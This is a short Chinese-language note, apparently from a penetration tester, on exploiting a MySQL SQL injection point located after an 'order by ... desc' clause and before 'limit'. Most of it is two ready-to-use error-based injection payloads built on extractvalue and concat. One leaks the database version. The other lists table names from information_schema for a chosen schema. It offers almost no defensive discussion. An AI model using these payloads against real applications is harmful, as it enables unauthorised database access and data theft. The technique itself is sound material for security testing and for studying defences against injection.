MySQL注入点在order by以后的利用方式

MySQL注入点在order by以后的利用方式

最近项目碰到了，记录一下。简单来说，就是注入点存在在类似下面的地方：

select * from xxx where … order by id desc [注入点] limit 0, 10

发现URL中有个desc，然后稍微修改了下数据，最终确定是上面的位置。这个和网上搜索到的常规的order by后的注入不太一样，是指定字段的order by。注入思路也比较清楚，利用多个字段排序进行报错注入。

payload：

desc,extractvalue(rand(),concat(0x3a,substring(version(),1,30)))+desc

找到注入表以后，获得指定的列名：

desc,extractvalue(rand(),concat(0x3a,substring((select+group_concat(TABLE_NAME)+from+information_schema.TABLES+where+TABLE_SCHEMA%3d%27注入表%27),1,30)))+desc